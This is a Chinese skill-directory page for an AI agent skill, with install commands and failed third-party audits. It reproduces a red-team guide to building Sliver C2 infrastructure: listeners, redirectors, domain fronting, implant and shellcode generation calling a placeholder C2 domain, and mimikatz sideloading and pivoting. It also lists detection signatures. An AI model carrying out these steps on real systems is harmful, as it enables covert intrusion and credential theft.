Token导航 LogoToken导航TokenDH.com
研究检索需要联网github未标认证来源可访问许可证需确认审计异常

building-c2-infrastructure-with-sliver-framework使用 Sliver 框架构建 C2 基础设施

Agent Skill

building-c2-infrastructure-with-sliver-framework 用于查找、检索和筛选相关信息,适合在 Codex、Claude、Cursor、Gemini CLI 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

总安装

618

周安装

25

GitHub Stars

5,886

下载量

194
CodexClaudeCursorGemini CLI

安装说明

本站只整理中文说明和来源信息,不托管安装包,也不代用户安装。

GitHub

来源数

2

许可证

unknown

最后核验

2026-05-01

来源状态

来源可访问

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:building-c2-infrastructure-with-sliver-framework(使用 Sliver 框架构建 C2 基础设施)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/building-c2-infrastructure-with-sliver-framework
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-c2-infrastructure-with-sliver-framework
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-c2-infrastructure-with-sliver-framework

简介

building-c2-infrastructure-with-sliver-framework 使用 Sliver Go 框架搭建跨平台 C2 基础设施。

  • 支持 mTLS、HTTP/S、DNS 等多通道通信与 WireGuard 隧道封装。
  • 提供 beacon 异步与 session 交互式两种操作模式,适应不同任务需求。
  • 需合理规划 redirector 与域名前置策略,确保证书与网络隐蔽性。
  • 适用宿主包括 Codex、Claude、Cursor、Gemini CLI,接入前应确认版本、权限和运行环境要求。

SKILL.md

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

  • When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Deploy a Sliver team server on hardened cloud infrastructure
  • Configure HTTPS, mTLS, DNS, and WireGuard listeners
  • Generate implants (beacons and sessions) for target platforms
  • Set up NGINX or Apache redirectors between implants and the team server
  • Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
  • Configure multi-operator access with certificate-based authentication
  • Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

  • T1071.001 - Application Layer Protocol: Web Protocols
  • T1071.004 - Application Layer Protocol: DNS
  • T1573.002 - Encrypted Channel: Asymmetric Cryptography
  • T1090.002 - Proxy: External Proxy (Redirectors)
  • T1105 - Ingress Tool Transfer
  • T1132.001 - Data Encoding: Standard Encoding
  • T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

  1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
  2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
  3. Install Sliver using the official install script: curl https://sliver.sh/install | sudo bash
  4. Start the Sliver server daemon: systemctl start sliver # Or run interactively sliver-server
  5. Generate operator configuration files for team members: new-operator --name operator1 --lhost <team-server-ip>

Phase 2: Listener Configuration

  1. Configure an HTTPS listener with a legitimate SSL certificate: https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
  2. Configure a DNS listener for fallback C2: dns --domains c2dns.example.com --lport 53
  3. Configure mTLS listener for high-security sessions: mtls --lhost 0.0.0.0 --lport 8888
  4. Configure WireGuard listener for tunneled access: wg --lport 51820

Phase 3: Redirector Setup

  1. Deploy a separate VPS as a redirector (positioned between targets and team server)
  2. Install and configure NGINX as a reverse proxy: server {listen 443 ssl; server_name c2.example.com; ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; location / {proxy_pass https://<team-server-ip>:443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr;}}
  3. Configure iptables rules on the team server to only accept connections from the redirector: iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP
  4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

  1. Generate an HTTPS beacon implant: generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
  2. Generate a DNS beacon for restricted networks: generate beacon --dns c2dns.example.com --os windows --arch amd64
  3. Generate a shellcode payload for injection: generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
  4. Configure beacon jitter and callback intervals: generate beacon --http https://c2.example.com --seconds 60 --jitter 30

Phase 5: Post-Exploitation Operations

  1. Interact with active beacons/sessions: beacons # List active beacons use <beacon-id> # Interact with a beacon
  2. Execute post-exploitation modules: ps # Process listing netstat # Network connections execute-assembly /path/to/Seatbelt.exe -group=all # Run.NET assemblies sideload /path/to/mimikatz.dll # Load DLLs
  3. Set up pivots for internal network access: pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host
  4. Use BOF (Beacon Object Files) for in-memory execution: armory install sa-ldapsearch # Install from armory sa-ldapsearch -- "(objectClass=user)" # Execute BOF

Tools and Resources

ToolPurposePlatform
Sliver ServerC2 team server and implant managementLinux/macOS/Windows
Sliver ClientOperator console for team membersCross-platform
NGINXRedirector and reverse proxyLinux
CertbotLet's Encrypt SSL certificate generationLinux
CloudflareCDN and domain frontingCloud
ArmorySliver extension/BOF package managerBuilt-in

Detection Signatures

IndicatorDetection Method
Default Sliver HTTP headersNetwork traffic analysis for unusual User-Agent strings
mTLS on non-standard portsFirewall logs for outbound connections to unusual ports
DNS TXT record queries with high entropyDNS log analysis for encoded C2 traffic
WireGuard UDP traffic on port 51820Network flow analysis for WireGuard handshake patterns
Sliver implant file hashesEDR/AV signature matching against known Sliver samples

Validation Criteria

  • Team server deployed and hardened with firewall rules
  • HTTPS listener configured with valid SSL certificate
  • DNS listener configured as fallback C2 channel
  • At least one redirector deployed between targets and team server
  • Multi-operator access configured with unique certificates
  • Implants generated for target operating systems
  • Beacon callback intervals and jitter configured for stealth
  • Post-exploitation modules tested (process listing,.NET assembly execution)
  • Pivot functionality validated for internal network access
  • All C2 traffic encrypted and passing through redirectors

适合场景

01

用户想查找某类 Agent Skill 时

02

需要根据任务场景推荐可安装能力包时

03

需要对比不同来源的安装命令和来源信息时

能力概览

能力 1

按任务关键词查找相关 Skills

能力 2

展示可复制的安装命令

能力 3

保留来源站点、仓库和原始说明,方便继续核验

能力 4

展示第三方安全扫描或审计结果

安装后应在对应宿主中按原始 README 的触发条件使用;具体调用方式请以来源页面和 README 为准。

平台分布

Codex

34.8%
按下载量换算68

Claude

31.35%
按下载量换算61

Cursor

17.68%
按下载量换算34

Gemini CLI

10.4%
按下载量换算20

安全审计

Gen Agent Trust Hub

通过

Socket

未通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在 warning/failed 结果,不能写成本站确认安全。当前只有一个来源,正式发布前建议补源仓库或其他目录站核验。

来源信息

继续浏览同类 Skills